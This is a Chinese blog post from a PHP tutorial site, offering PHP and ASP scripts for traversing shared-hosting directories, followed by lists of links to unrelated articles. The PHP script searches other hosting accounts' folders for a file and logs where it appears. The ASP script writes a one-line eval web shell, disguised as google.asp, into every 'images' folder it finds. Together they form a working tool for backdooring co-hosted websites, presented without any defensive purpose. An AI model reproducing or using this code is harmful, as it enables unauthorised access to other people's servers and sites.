php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
php 函数使用方法与函数定义方法
May 09 PHP
php file_exists 检查文件或目录是否存在的函数
May 10 PHP
php递归实现无限分类生成下拉列表的函数
Aug 08 PHP
php实现rc4加密算法代码
Apr 25 PHP
PHP对接微信公众平台消息接口开发流程教程
Mar 25 PHP
Smarty变量调节器失效的解决办法
Aug 20 PHP
php过滤html标记属性类用法实例
Sep 23 PHP
深入探究PHP的多进程编程方法
Aug 18 PHP
Yii中srbac权限扩展模块工作原理与用法分析
Jul 14 PHP
Laravel学习教程之model validation的使用示例
Oct 23 PHP
Yii2框架配置文件(Application属性)与调试技巧实例分析
May 27 PHP
php高性能日志系统 seaslog 的安装与使用方法分析
Feb 29 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
PHP实现多条件查询实例代码
2010/07/17 PHP
PHP APC配置文件2套和参数详解
2014/06/11 PHP
ecshop 2.72如何修改后台访问地址
2015/03/03 PHP
可输入的下拉框
2006/06/19 Javascript
刷新页面实现方式总结(HTML,ASP,JS)
2008/11/13 Javascript
jquery text,radio,checkbox,select操作实现代码
2009/07/09 Javascript
JQuery 学习笔记 选择器之五
2009/07/23 Javascript
S2SH整合JQuery+Ajax实现登录验证功能实现代码
2013/01/30 Javascript
jQuery实现预加载图片的方法
2015/03/17 Javascript
JQuery插件jcarousellite的参数中文说明
2015/05/11 Javascript
javascript框架设计之框架分类及主要功能
2015/06/23 Javascript
js窗口关闭提示信息(兼容IE和firefox)
2015/10/23 Javascript
javascript轻量级库createjs使用Easel实现拖拽效果
2016/02/19 Javascript
AngularJS优雅的自定义指令
2016/07/01 Javascript
jQuery设置和获取select、checkbox、radio的选中值方法
2017/01/01 Javascript
jquery uploadify隐藏上传进度的实现方法
2017/02/06 Javascript
Node.js中流(stream)的使用方法示例
2017/07/16 Javascript
JavaScript 中定义函数用 var foo = function () {} 和 function foo()区别介绍
2018/03/01 Javascript
AngularJS实现的鼠标拖动画矩形框示例【可兼容IE8】
2019/05/17 Javascript
使用webpack将ES6转化ES5的实现方法
2019/10/13 Javascript
如何在现代JavaScript中编写异步任务
2021/01/31 Javascript
Python的Flask框架与数据库连接的教程
2015/04/20 Python
详解Python中的四种队列
2018/05/21 Python
Python中的 is 和 == 以及字符串驻留机制详解
2019/06/28 Python
python实现飞行棋游戏
2020/02/05 Python
python与js主要区别点总结
2020/09/13 Python
重构Python代码的六个实例
2020/11/25 Python
pycharm实现猜数游戏
2020/12/07 Python
严选全球尖货,立足香港:Bonpont宝盆
2018/07/24 全球购物
大学生的应聘自我评价
2013/12/13 职场文书
幼儿园教师工作制度
2014/01/22 职场文书
见习报告格式范文
2014/11/08 职场文书
幼儿园中秋节活动总结
2015/03/23 职场文书
青涩记忆观后感
2015/06/18 职场文书
Django如何与Ajax交互
2021/04/29 Python
MySQL库表名大小写的选择
2021/06/05 MySQL